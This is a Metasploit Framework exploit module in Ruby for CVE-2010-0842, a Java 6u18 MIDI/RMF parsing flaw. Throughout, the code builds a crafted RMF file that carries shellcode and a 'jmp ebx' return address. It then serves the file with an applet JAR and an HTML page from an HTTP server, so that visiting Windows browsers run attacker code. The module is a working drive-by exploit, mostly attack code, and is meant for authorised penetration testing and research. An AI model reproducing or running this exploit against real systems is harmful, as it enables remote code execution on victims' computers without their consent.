##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Java MixerSequencer Object GM_Song Structure Handling Vulnerability",
			'Description'    => %q{
					This module exploits a flaw within the handling of MixerSequencer objects
				in Java 6u18 and before.

					Exploitation id done by supplying a specially crafted MIDI file within an RMF
				File. When the MixerSequencer objects is used to play the file, the GM_Song
				structure is populated with a function pointer provided by a SONG block in the
				RMF. A Midi block that contains a MIDI with a specially crafted controller event
				is used to trigger the vulnerability.

				When triggering the vulnerability "ebx" points to a fake event in the MIDI file
				which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the
				exploit reliable over java updates.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Peter Vreugdenhil',  # Vulnerability Discovery and exploit
					'juan vazquez', # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2010-0842' ],
					[ 'OSVDB', '63493'],
					[ 'BID', '39077'],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-060/' ],
					[ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']
				],
			'Payload'        =>
				{
					'Space'    => 8000,
				},
			'DefaultOptions'  =>
				{
					'EXITFUNC'             => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						# Tested succesfully on:
						# Windows XP SP3 / IE 6 / Java 6u18
						# Windows XP SP3 / IE 7 / Java 6u18
						# Windows XP SP3 / IE 8 / Java 6u18
						# Windows XP SP3 / Firefox 7.0.1 / Java 6u18
						# Windows XP SP3 / IE 8 / Java 6u17
						# Windows XP SP3 / Firefox 7.0.1 / Java 6u17
						# Windows 7 / IE 8 / Java 6u18
						'Windows / Java 6 <=u18',
						{
							'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Mar 30 2010",
			'DefaultTarget'  => 0))

	end

	def get_rmf

		rmf_header = ""
		rmf_header << "IREZ" # RMFHeaderMagic
		rmf_header << "\x00\x00\x00\x01" # RMFVersionNumber
		rmf_header << "\x00\x00\x00\x02" # NumberOfRMFBlocks

		song_block = ""
		song_block << "\x00\x00\x00\x65" # OffsetToNextBlock
		song_block << "SONG" # BlockType
		song_block << [target.ret].pack("N") # BlockID
		song_block << "\x00" # BlockName
		song_block << "\x00\x00\x00\x47" # BlockDataSize
		song_block << "\x7F\xFF\x00\x01\x00\x00\x01\x01" # BlockData
		song_block << "\x00\x00\x00\x04\x00\x1C\x00\x08" # BlockData
		song_block << "\x00\x7F\x00\x00\x00\x00\x00\x00" # BlockData
		song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
		song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
		song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
		song_block << "\x00\x01\x54\x49\x54\x4C\x9F\xB1" # BlockData
		song_block << "\xB5\x0D\x0A\x7E\xFB\x70\x9C\x86" # BlockData
		song_block << "\xFE\xB0\x35\x93\xE2\x5E\xDE\xF7" # BlockData

		midi = ""
		# HEADERCHUNK Header
		midi << "MThd"                 # Header
		midi << "\x00\x00\x00\x06"     # Chunk size
		midi << "\x00\x01"             # Format Type
		midi << "\x00\x01"             # Number of tracks
		midi << "\x00\x08"             # Time division
		# TRACKCHUNK header
		midi << "MTrk"                 # Header
		midi << "\x00\x00\x24\xd7" # Length
		midi << "\x00\xb0\x80\x00" # Controller Event # Triggers the vulnerability
		# Fake Midi Meta event - Shellcode
		midi << "\x38" # Variable lenght delta time
		midi << "\xff" # Midi meta event
		midi << "\x02" # Meta event type 02 => Copyright notice
		midi << "\xc9\x50" # Variable Meta Event Length
		midi << payload.encoded
		midi << rand_text(9123 - payload.encoded.length)

		midi_block = "\x00\x00\x25\x60" # OffsetToNextBlock
		midi_block << "Midi" # BlockType
		midi_block << "\x00\x00\x7f\xff" # BlockID
		midi_block << "\x00" # BlockName
		midi_block << "\x00\x00\x24\xed" # BlockDataSize
		midi_block << midi # BlockData

		rmf = ""
		rmf << rmf_header
		rmf << song_block
		rmf << midi_block

		rmf_name = "#{rand_text_alpha(rand(5) + 3)}.rmf"

		return rmf_name, rmf
	end

	def get_jar

		files = [
			[ "MyController.class" ],
			[ "MixerMidiApplet.class" ],
			[ "META-INF", "services", "javax.sound.midi.spi.MidiDeviceProvider" ]
		]
		jar = Rex::Zip::Jar.new
		jar.add_file("META-INF/", "")
		jar.add_file("META-INF/services/", "")
		jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0842"))
		jar.build_manifest

		jar_name = "#{rand_text_alpha(rand(5) + 3)}.jar"

		return jar_name, jar
	end

	def on_request_uri(cli, request)

		if request.uri =~ /\.jar$/i
			print_status("Sending JAR")
			send_response(cli, @jar.pack, {'Content-Type'=>'application/octet-strem'})
			return
		end

		if request.uri =~ /\.rmf$/i
			print_status("Sending RMF file")
			send_response(cli, @rmf, {'Content-Type'=>'application/octet-strem'})
			return
		end

		base_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
		rmf_uri = base_uri + "/#{@rmf_name}"
		jar_uri = base_uri + "/#{@jar_name}"

		html = %Q|
		<html>
		<head>
		</head>
		<body>
		<applet code="MixerMidiApplet.class" archive="#{jar_uri}" width=350 height=200>
			<param name="midifile" valuetype="ref" value="#{rmf_uri}">
		</applet>
		</body>
		</html>
		|

		html = html.gsub(/^\t\t/, '')

		print_status("Sending HTML")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

	def exploit
		@jar_name, @jar = get_jar
		@rmf_name, @rmf = get_rmf
		super
	end

end
